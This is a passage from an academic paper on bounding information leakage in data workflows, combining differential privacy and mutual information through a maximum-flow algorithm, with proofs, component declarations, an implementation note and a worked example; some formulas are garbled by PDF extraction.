• if M may output d on C if it gets a on A and b on IM\{A}
• and M may output d′ on C when it gets a′ on A and b on IM\{A}
• then distC(d, d′) ≤ c · distA(a, a′).

In other words, if we change the input A by a certain distance then the output C
can change by at most c times that distance. The component M may have sensi-
tivity declarations for several pairs of its inputs and outputs. Denote c(A,C) = c
if (M,A,C) has c-sensitivity and c(A,C) = ∞ if there does not exist c such that
(M,A,C) has c-sensitivity, or such c has not been given.

All sensitivity declarations involving a certain wire (either as an input or an
output of a component, or as a global input) must use the same distance distw

on the values of that wire. If the values are databases then distance may be e.g.
the number of records differing in the two versions of the database. If the values
are scalars then the distance may be the absolute value of the difference of the
two versions of the value.

If we know β(A) and distA for all A ∈ A then we can find the set of dis-
tributions D used implicitly in dM (A; C) and qM (A; C) to denote dDM (A; C) and
qDM (A; C), respectively:

D = DA = {P | ∀A ∈ A, a, a′ ∈ supp P |A. distA(a, a′) ≤ β(A)} (5)

6.2 Differential Privacy

Consider a component M and one of its inputs A. Let ddp be the differential-
privacy distance defined on the distributions of a subset of its outputs C.

Our analysis can make use of declarations that (M,A, C) has ε-
differential privacy. This means that for all a, a′, b:
ddp(PC|A=a,IM\{A}=b, PC|A=a′,IM\{A}=b) ≤ ε · distA(a, a′). If such declaration
exists for some M , A, and C, then denote this value ε by ε(A, C). Put ε(A, C) =
∞, if no such declaration exists.

Our analysis can also make use of declarations that (M,A, C) has
sensitivity-less ε-differential privacy. This means that for all a,a′, b:
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ddp(PC|A=a,IM\A=b, PC|A=a′,IM\A=b) ≤ ε. If such declaration exists for some
M , A, and C, then denote this value ε by ε(A, C). Put ε(A, C) = ∞, if no such
declaration exists.

6.3 Mutual Information

Our analysis can make use of declarations that a component M leaks at
most q bits from a subset Ai of its inputs to a subset Cj of its outputs, i.e.
q
D(Ai)
M (Ai, Cj) ≤ q. This implies qM (Ai, Cj) ≤ q. These are the mutual informa-

tion declarations for (M,Ai, Cj), meaning that (M,Ai, Cj) has at most q bits of
mutual information. Here the triangle inequality does not hold.

7 Analysis

The goal of our analysis is to conservatively estimate (i.e. upper-bound) (1). To
compute it, we make several passes over the description of the workflow. These
passes result us in finding qM (A, C) for each component M , for all subsets A of
its inputs and all subsets C of its outputs. We will then invoke a graph-theoretic
algorithm that computes (1) from all qM (A, C). We describe the computations
below.

7.1 Bounding the Information Flow Through Components

Computing β for all wires. In Sect. 6.1, we defined β(w) for all global inputs w
and we showed that it is an upper bound of β0(w) (4) in this case. For any other
wire C (taken in topological order), which belongs to OM for some component
M , we can compute β(C) as

β(C) =
∑

A∈IM

β(A) · c(A,C)

It is easy to see, by induction and using the triangle inequality for distC , that
β(w) ≥ β0(w) for all wires w. If we know that β(w) = s then we know that
the distribution of the values on w is such that any two values with non-zero
probability are at a distance at most s from each other.

Parallel Composition of Differential Privacy. For each component M and A ⊆
IM , C ⊆ OM , let

γ(M,A, C) = min{ε(A, C),
∑

A∈A
min{ε(A, C) · β(A), ε(A, C)}}.

It is easy to see that ε(A, C) ≥ d
D(A)
M (A, C), ε(A, C) ≥ d

D(A)
M (A, C), ε(A, C) ·

β(A) ≥ dM (A, C). Now, using the triangle inequality for ddp, we get that

γ(M,A, C) ≥ dM (A, C) = dDM (A, C), (6)

where D is as in (5).
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Bounding the Mutual Information Through a Component. Consider a component
M . Let A be the subset of its inputs and C the subset of its outputs that are
on the path from the source to the sink. Suppose we want to find a bound on
how much information can flow through M from A to C, i.e. an upper bound on
qDM (A; C), where D is the set of distributions into which the actual distribution
of A is known to belong. D is determined by the sensitivity declarations, as
described in Sect. 6.1. If there are no sensitivity declarations about the wires in
A then D = D(A).

If we have a mutual-information declaration for (M,A, C) then we can use
the bound from that declaration. If we have a mutual-information declaration for
(M,A′, C′) where A ⊆ A′ and C ⊆ C′ then by monotonicity we can also use that
bound. If we get bounds from several declarations then we take the minimum of
those bounds.

If we have a differential-privacy declaration for (M,A, C) then we use that to
find an upper bound on dM (A, C). If we have differential-privacy declarations for
(M,A, C) for each A ∈ A then we use (6) to find an upper bound on dM (A, C).
Then we convert the bound on dDM (A, C) to a bound on qDM (A, C) using Lemma 2.

7.2 Maximum Information Flow in a Workflow

After we have obtained the upper bounds on the mutual information between
the inputs and outputs of each component, we use Algorithm1 to find the max-
imum information flow F in the whole workflow. This is an upper bound on the
amount of information that an adversary can leak from S to T . Based on the
workflow, and the input and output wires, the algorithm constructs a network

Algorithm 1. Maximum information flow in a system
Input: A set of components and directed wires between them, forming a dag. Some
wires have no beginning component, these are the global inputs. Some wires may have
no end component. S is a subset of global inputs. T is a subset of all wires.

Find (e.g. using breadth-first search) all wires and components through which there
is a path from S to T .
Remove all other wires and components.
Set the capacity of each wire to be the maximum entropy of the data that can be
sent over the wire (e.g. the number of bits for fixed-length data).
for each remaining component M do

Find its remaining input wires AM and its remaining output wires CM .
Find a bound on qM (AM ; CM ) as described in Sect. 6.3.
Replace the component M with vertices InM and OutM so that

the wires AM now enter InM and
the wires CM now begin from OutM .

Add an edge from InM to OutM with capacity qM (AM ; CM ).
Add a vertex Source from which the wires S begin.
Add a vertex Sink into which the wires T enter.
Find the maximum flow from Source to Sink.
return the maximum flow.
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(a directed graph, where each arc has been labeled with its capacity, together
with distinguished source and sink vertices), such that the maximum flow in this
graph is the upper bound that we seek. The following theorem states that F is
indeed an upper bound to the amount of information that can be leaked.

Theorem 1 (Correctness of Algorithm1). Suppose that Algorithm1 has
been run, finding the maximum flow F in a system. Assume that d(S) ∈ DS

and d(G\S) ∈ Const(G\S). Then I(S;T ) ≤ F .

Proof. Let C be a minimum cut of the transformed graph in Algorithm1. The
inputs and the outputs of a component M in the transformed graph, are AM and
CM , respectively. In this proof, the occurrences of words like “edge”, “path”, etc.
refer to the transformed graph, not the original graph. W.l.o.g. we can assume
that C contains all zero-capacity edges of the transformed graph (because adding
edges with zero capacity to the cut does not change the minimality of the cut).
Let D be the set of edges outside C from which there is a path to T that does
not contain any of the edges in C. Let e1, . . . , es be the edges in C ∪ D in a
topological order. Each edge corresponds to either a wire or a component in the
original workflow. For each edge e, let

o(e) =

{
CM if e corresponds to a component M

{w} if e corresponds to a wire w

c(e) =

⎧
⎪⎨

⎪⎩

the capacity of M if e ∈ C and e corresponds to a component M

the capacity of w if e ∈ C and ecorresponds to a wire w

0 if e ∈ D

Then we prove by induction that for all i ≤ s,

I

⎛

⎝S;
i⋃

j=1

o(ej)

⎞

⎠ ≤
i∑

j=1

c(ej)

The case i = 0 holds because I(S; ∅) = 0.
Now suppose that

I

⎛

⎝S;
i⋃

j=1

o(ej)

⎞

⎠ ≤
i∑

j=1

c(ej)

holds. Let Q =
⋃i

j=1 o(ej).
First consider the case where ei+1 ∈ D corresponds to a component M .

Consider an edge e corresponding to an input wire w of M . If e �∈ C then the
path obtained by adding e to the beginning of a path from ei+1 to T that does
not intersect C, is a path from e to T that does not intersect C, thus e ∈ D.
Thus e ∈ C ∪ D. Because there is path from e to ei+1, e must be earlier in
the topological order, i.e. e = ek for some k < i + 1. Because e corresponds to
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a wire w, o(ek) = w, also o(ek) ⊆ Q, thus w ∈ Q. Thus AM ⊆ Q. Because
of topological order, there is no path from M to Q\AM . Thus by Lemma 1,
I(S,Q\AM ;CM |AM ) = 0. Also c(ei+1) = 0. Now

I

⎛

⎝S;
i+1⋃

j=1

o(ej)

⎞

⎠ = I(S;Q ∪ CM ) = I(S;Q) + I(S;CM |Q)

≤ I(S;Q) + I(S,Q\AM ;CM |AM ) = I(S;Q) ≤
i∑

j=1

c(ej) =
i+1∑

j=1

c(ej)

Now consider the case where ei+1 ∈ C corresponds to a component M .
Because of topological order, there is no path from M to Q\AM . Thus by
Lemma 1, I(S,Q\AM ;CM |AM ) = 0. Also c(ei+1) ≥ I(AM ;CM ). Now

I(S;CM |Q) ≤ I(S,Q;CM ) ≤ I(S,Q ∪ AM ;CM )
= I(AM ;CM ) + I(S,Q\AM ;CM |AM ) ≤ c(ei+1)

I

⎛

⎝S;
i+1⋃

j=1

o(ej)

⎞

⎠ = I(S;Q ∪ CM ) = I(S;Q) + I(S;CM |Q)

≤
⎛

⎝
i∑

j=1

c(ej)

⎞

⎠ + c(ei+1) =
i+1∑

j=1

c(ej)

Now consider the case where ei+1 ∈ D corresponds to a wire w. Then there is
a path from w to T that does not intersect C. w cannot be a global input because
otherwise there would be a path from S to T that does not intersect C, thus
it also would not contain zero-capacity edges, thus it would be an augmenting
path with positive capacity, contradicting the minimality of the cut C. Thus w
is an output of a component M . Consider an edge e corresponding to an input
wire w of M . If e �∈ C then the path obtained by adding e to the beginning of a
path from ei+1 to T that does not intersect C, is a path from e to T that does
not intersect C, thus e ∈ D. Thus e ∈ C ∪ D. Because there is path from e to
ei+1, e must be earlier in the topological order, i.e. e = ek for some k < i + 1.
Now w ∈ o(ek) and o(ei+1) ⊆ o(ek) ⊆ Q. Also c(ei+1) = 0. Thus

I

⎛

⎝S;
i+1⋃

j=1

o(ej)

⎞

⎠ = I

⎛

⎝S;
i⋃

j=1

o(ej)

⎞

⎠ ≤
i∑

j=1

c(ej) =
i+1∑

j=1

c(ej)
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Now consider the case where ei+1 ∈ C corresponds to a wire w. Then
c(ei+1) ≥ H(w), the entropy of the value on the wire. Thus

I(S;w|Q) ≤ I(S,Q;w) = H(w) + H(S,Q) − H(S,Q,w) ≤ H(w) ≤ c(ei+1)

I

⎛

⎝S;
i+1⋃

j=1

o(ej)

⎞

⎠ = I(S;Q,w) = I(S;Q) + I(S;w|Q)

≤
⎛

⎝
i∑

j=1

c(ej)

⎞

⎠ + c(ei+1) =
i+1∑

j=1

c(ej)

We have thus proved the induction step for all cases. Now we can estimate
I(S;T ). Consider any edge e corresponding to a wire in T . If e �∈ C then there
is a path from e to T that does not intersect C, thus e ∈ D. Thus e ∈ C ∪ D.
Thus T ⊆ C ∪ D =

⋃s
j=1 o(ej).

I(S;T ) ≤ I(S;C ∪ D) ≤
s∑

j=1

c(ej) = F

Here the second inequality holds by the result we proved by induction. The
equality holds by the maximum-flow-minimum-cut theorem (

∑s
j=1 c(ej) is the

value of the minimum cut C). 	


8 Completeness of Algorithm1

We can also show the completeness of Algorithm 1 in some sense, i.e. that under
certain conditions, certain (very strong) adversaries can bring the leakage arbi-
trarily close to the bound F , with arbitrarily small (but positive) error proba-
bility.

Suppose that for each port p ∈ Ports, the set Ports also contains ports
p(1), p(2), . . . with V(p(i)) = V(p). For a set of ports P , let P (1..n) denote the
set of ports {p(i) | p ∈ P, i ∈ {1, . . . , n}}. For a component M , let M (n) be the
component “executing n copies of M in parallel”. I.e. the input and output ports
of M (n) are ipM(n) = ip

(1..n)
M , and opM(n) = op

(1..n)
M . The function fM(n) takes

the n copies of the inputs and independently applies fM to each copy, resulting
in n different sets of outputs.

Let M be a component and PI , PO subsets of its input and output ports. Let
fI :

∏
p∈PI

V(p) → D(
∏

p∈PI
V(p)) and fO :

∏
p∈PO

V(p) → D(
∏

p∈PO
V(p)).

Let aI ∈ ∏
p∈ipM\PI

V(p). Let the mapping fM have the same type as fM , and
be constructed by first applying fI to the values appearing on PI , then fM to
the results of fI and the values aI (i.e. the values on ports ipM\PI are ignored),
and finally fO only to the outputs of fM that would go to ports PO in M (other
outputs pass beside fO). The augmentation of M with PI , PO, fI , fO,aI is the
component aug(PI , fI ,aI ;M ; fO, PO) with the same input and output ports as
M , and with the function fM .
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The augmentation of a component is used to “change the encoding” of its
inputs and outputs. If the mutual information between the inputs PI and outputs
PO of M was q, then this is the bound also for the mutual information between
the same inputs and outputs of aug(PI , fI ,aI ;M ; fO, PO).

Let WF = (M,W, s, t) be a workflow. For each component M ∈ M, let
PM ;I and PM ;O be subsets of ipM and opM , respectively. For each n, let Sn

M ;I

and Sn
M ;O be mappings with the following types:

Sn
M ;I :

∏
p∈P

(1..n)
M;I

V(p) → D(
∏

p∈P
(1..n)
M;I

V(p))

Sn
M ;O :

∏
p∈P

(1..n)
M;O

V(p) → D(
∏

p∈P
(1..n)
M;O

V(p)).

Also, let Sn
M ;v ∈ ∏

p∈ip
M(n)\P

(1..n)
M;I

V(p). We consider S to be a function that maps

a number n and a component (name) M into a pair of mappings and a tuple of
values. We call the tuple of subsets of ports [(PM ;I , PM ;O)]M∈M the type of S.
We call S a simulator for WF .

The workflow WF (n)
S intuitively executes n copies of WF , where each com-

ponent M (n) has been augmented using S. Formally, WF (n)
S = (Mn,Wn, s, t),

where

– Mn = {aug(PM ;I ,Sn
M ;I ,Sn

M ;v;M
(n);Sn

M ;O, PM ;O) |M ∈ M};
– Wn = {(w, i) |w ∈ W, i ∈ {1, . . . , n}};
– s(p(i)) = (s(p), i) and t(p(i)) = (t(p), i) for all output and input ports of the

components in Mn.

Theorem 2. Suppose that Algorithm1 has been run, finding the maximum flow
F in the workflow WF. For each component M , let DM be the set of allowed
probability distributions of AM , as restricted by the sensitivity declarations. If
for each component M , the bound qM = qDM

M (AM ;CM ) found by the algorithm
is tight, i.e. there exists P ∈ DM such that if AM ∼ P then I(AM ;CM ) = qM ,
then for all ε > 0, there exists a simulator S with type [(AM , CM )]M∈M, such
that for each δ > 0, there exists n > 0 such that the workflow WF (n)

S can leak at
least n(F − ε) bits of information with the error probability at most δ.

Proof. Consider a component M . The weight of the edge e corresponding to
this component in the flow graph is q0 = qDM (A; C). Let us run the maximum
flow algorithm again with the weight of each edge corresponding to a component
reduced by ε0, i.e. q = q0 − ε0. Then the maximum flow in this modified network
is at least F −Kε0 where K is the number of components in the network and F
is the flow in the original network. The flow through the edge e determined by
the maximum flow algorithm is f ≤ q.

Let d(A) ∈ D and d(I\A) ∈ Const(I\A) be such that maximize I(A; C)
in (2). There are n copies of the workflow executed in parallel. The simulator
S consists of pre- and postprocessing tools for each component M . There is a
(single) preprocessor Sn

M ;AM
before the n copies of M that takes the total of nf

bits (assumed to be from the uniform distribution) on the n copies of the wires
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A destined to M and encodes them into an n-tuple whose components are each
from the distribution d(A) (not necessarily independent). The tuple of constants
Sn

M ;v has been picked from the constant distribution d(I\A); these are sent to
the n copies of the wires I\A destined to M . There is a (single) postprocessor
Sn

M ;CM
after the n copies of M that takes the n-tuple from the n copies of C and

decodes them into a total of nf bits.
By well-known results from information theory, the encoding/decoding (for

using a channel with capacity at least f + ε0 for n times) can be chosen in such
a way that these Nf bits are with probability at least 1−δ0 equal to the nf bits
that were encoded by the simulator before the n copies of M . The probability
that for each component M , the bits sent to the encoder before M are equal to
the bits received from the decoder after M , is at least 1 − Kδ0. Thus also the
probability that the n(F − Kε0) bits of the source are equal to the n(F − Kε0)
bits of the sink, is at least 1 − Kδ0 (with the variables quantified as follows:
∀ε0∀δ0∃n). We can take ε = Kε0 and δ = Kδ0 and get that the augmented
workflow can leak n(F − ε) bits from the source to the sink with probability at
least 1 − δ. 	


9 Component Types

Here is a (non-exhaustive) list of component types that can be expressed in our
system. Diagrams of the components are shown on the left and the corresponding
declarations read by our analyzer are shown on the right.

9.1 Database Aggregator

A

a1 a2

y1

comp A a1 a2 -> y1 ;
leak sens 20.0 a1 -> y1 ;
leak sens 50.0 a2 -> y1 ;

The declarations mean that (A, a1, y1) has 20.0-sensitivity and (A, a2, y1) has
50.0-sensitivity.

The inputs (here a1 and a2 but in general 1 or more inputs) are database
tables and the component aggregates them to a scalar value y1. E.g. y1 may be
the linear correlation coefficient of a1 and a2. If there is only one input table
(e.g. a1) then y1 may be e.g. the mean, median, or standard deviation of a1.

The distance defined on any of its inputs ai is the number of records by
which the two database tables differ. The distance defined on its output y1 is
the absolute value of the difference between the two scalar values.

For each input ai, the component has sensitivity c(ai, y1). E.g. if y1 is the
mean of ai and each value in ai is in the range [L,R] then c(ai, y1) = R−L

n ,
where n is the number of values (records) in ai.
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9.2 Database Linker

A

a1 a2

b1

comp A a1 a2 -> b1 ;
leak sens 3 a1 -> b1 ;
leak sens 1 a2 -> b1 ;

The declarations mean that (A, a1, b1) has 3-sensitivity and (A, a2, b1) has 1-
sensitivity.

The database tables a1 and a2 are linked by a column in each table. Let us call
this column the provenance column and the possible values in this column the
provenances. The table a1 must have at most one record with each provenance
but a2 may contain up to r records with each provenance. Then the sensitivities
are: c(a1, b1) = r and c(a2, b1) = 1. This can be generalized to the case of linking
more than 2 tables, of which only one may have non-unique provenances.

The output of a database linker may be used as an input of a database
aggregator.

9.3 Scalar Combiner

A

x1 x2

y1

comp A x1 x2 -> y1 ;
leak sens 1.0 x1 -> y1 ;
leak sens 1.0 x2 -> y1 ;

Here (A, x1, y1) has 1.0-sensitivity and (A, x2, y1) has 1.0-sensitivity. The inputs
(2 or more of them, here x1 and x2) are scalars. They are combined to calculate
the output y1 (also a scalar).

This can be used to combine outputs of database aggregators. E.g. if x1 and
x2 are the lower and upper quartile, respectively, of a database table then y1
may be the difference x2 − x1. In this case c(x1, y1) = c(x2, y1) = 1.

9.4 Laplace Randomizer

A

x1

y1

comp A x1 -> y1 ;
leak dpr 0.01 x1 -> y1 ;

The declarations mean that (A, x1, y1) has 0.01-differential privacy.
The input x1 is a scalar value and the output y1 is calculated by adding

Laplace noise from Laplace(λ) to x1. Here 1
λ = ε(x1, y1) = 0.01. If x1 has

sensitivity β0(x1) = c with respect to the global inputs then γ(A, x1, y1) = c
λ .

This can be combined with a database aggregator or scalar combiner to make
their result differentially private.
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9.5 Laplace Randomizer Without Sensitivity

A

x1

y1

comp A x1 -> y1 ;
leak dp 2.0 x1 -> y1 ;

Here (A, x1, y1) has sensitivity-less 2.0-differential privacy, with the keyword
leak dp instead of leak dpr indicating that sensitivity is not used.

The input x1 is a scalar value and the output y1 is calculated by adding
Laplace noise from Laplace(λ) to x1. The input does not need to have any sensi-
tivity bound derived from sensitivity declarations. If it does have such a bound,
it is ignored. Instead, we assume that x1 is in a certain range [L,R] and if it is not
there (by some mistake) then it is clipped into that range. Then we add Laplace
noise from Laplace(λ) to x1. The result y1 is R−L

λ -differentially private. E.g. we
may assume that x1 is a result of computing a linear correlation coefficient, being
in the range [−1, 1], and take λ = 1. Then the result is 2-differentially private,
i.e. γ(A, x1, y1) = 2.

9.6 Secret Sharing

A

x1

y1 y2 y3

comp A x1 -> y1 y2 y3 ;
leak mi 0.0 x1 -> y1 y2 ;
leak mi 0.0 x1 -> y1 y3 ;
leak mi 0.0 x1 -> y2 y3 ;
leak mi 64.0 x1 -> y1 y2 y3 ;

The declarations mean that (A, x1, {y1, y2}) has at most 0.0 bits of mutual
information, (A, x1, {y1, y3}) has at most 0.0 bits of mutual information,
(A, x1, {y2, y3}) has at most 0.0 bits of mutual information, (A, x1, {y1, y2, y3})
has at most 64.0 bits of mutual information.

Here we secret share x1 into three shares y1, y2, y3. In the case of additive
secret sharing, we would have y1 ⊕ y2 ⊕ y3 = x1, where ⊕ is addition modulo
2k, where k is the bit length of each of the four values.

Here we have information-theoretical bounds on the flows. E.g.
q(x1; y1, y2) = q(x1; y1, y3) = q(x1; y2, y3) = 0 but q(x1; y1, y2, y3) = k.

We can also express other kinds of secret sharing.

10 Implementation

We have implemented (in C++) Algorithm 1. The maximum flow from Source
to Sink is computed using Edmonds-Karp algorithm. The implementation reads
the description of the system, transforms it to a flow network, and finds the
maximum flow in this graph. If the system has V components and E wires then
the generated directed graph has at most 2V + 2 nodes and at most E + V
edges. Thus the complexity is O(V E2). It can be improved by using a faster
maximum-flow algorithm.
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A

B C

D

x1
x2

x3 x4

x5 x6

x7

Fig. 1. A system Fig. 2. Input file describing the system
in Fig. 1

We have also implemented the idea in Sect. 5. We apply the triangle inequality
for the inputs and get a bound on dM (A; C). We convert it to a bound on
qM (A; C). We get another bound on qM (A; C) using only the known bounds on
qM and monotonicity (triangle inequality cannot be applied here). Either or both
of the two bounds may also be infinite (i.e. no bound can be derived). Then we
take the minimum of the two bounds.

11 Example

Figure 1 shows an example of a system with components A,B,C,D and wires
x1, x2, x3, x4, x5, x6, x7. The corresponding input file describing this system is
shown in Fig. 2. This file is read by our implementation.

The file describes the leakages using differential-privacy epsilons, which are
shown as 0.2 for each single input and single output of each component. For
the component A, we also give the leakage from {x1} to {x3, x4} because the
triangle inequality cannot be used for outputs. The triangle inequality does hold
for inputs and it is used to find the leakages involving more than one input
of the same component. For example, consider component B. Its leak from x2
to x5 is 0.2, and from x3 to x5 is also 0.2. Then its leak from (x2, x3) to x5
is dB({x2, x3}; {x5}) = 0.4. Then we convert these into upper bounds for the
mutual-information-based leakages:

qB({x2, x3}; {x5}) ≤ 0.114
qB({x2}; {x5}) ≤ 0.029
qB({x3}; {x5}) ≤ 0.029
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Source

InA

OutA

InB InC

OutB OutC

InD

OutD

Sink

x1

x2 0.114

x3 x4

0.114 0.029

x5 x6

0.114

x7

Fig. 3. Flow network from {x1, x2} to
{x7} corresponding to the system in
Fig. 1

Source

InA

OutA

InB InC

OutB OutC

InD

OutD

Sink

x1

0.114

x3 x4

0.029 0.029

x5 x6

0.114

x7

Fig. 4. Flow network from {x1} to
{x7} corresponding to the system in
Fig. 1

As we see, the triangle inequality does not hold for qB .
Then a flow network for a subset of the global inputs and outputs is generated

for the system. The result for the input subset {x1, x2} and the output subset
{x7} is shown in Fig. 3. The wires with finite capacity have their capacity shown
next to them, instead of their name. The direction of the edges is downwards.
We find the maximum flow from Source to Sink, which is 0.114.

Considering the input subset {x1} and the output subset {x7}, we get the
flow network in Fig. 4. The capacity of the edge from InB to OutB is now 0.029
instead of 0.114, Reducing the maximum flow from Source to Sink to 0.058.

We also find the maximum flow from the input subset {x2} to the output
subset {x7}, getting 0.029. Thus the triangle inequality also does not hold for
the global system, as 0.029 + 0.058 < 0.114.

12 Conclusion

We have presented a method for analyzing leakages in workflows using leakage
bounds for the individual components of the workflow. We combine both mutual
information and differential privacy in our analysis to get better bounds on the
leakages. We have also implemented the method. We conclude that using both
differential privacy and mutual information can improve the privacy guarantees
of workflows, compared to using either of them alone.
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4. Barthe, G., Köpf, B., Olmedo, F., Béguelin, S.Z.: Probabilistic relational reasoning
for differential privacy. ACM Trans. Program. Lang. Syst. 35(3), 9 (2013)

5. Chatzikokolakis, K., Chothia, T., Guha, A.: Statistical measurement of information
leakage. In: Esparza, J., Majumdar, R. (eds.) TACAS 2010. LNCS, vol. 6015, pp.
390–404. Springer, Heidelberg (2010). doi:10.1007/978-3-642-12002-2 33

6. Clark, D., Hunt, S., Malacaria, P.: A static analysis for quantifying information
flow in a simple imperative language. J. Comput. Secur. 15(3), 321–371 (2007)

7. Cuff, P., Yu, L.: Differential privacy as a mutual information constraint. In: CCS
2016 (2016). http://arxiv.org/pdf/1608.03677
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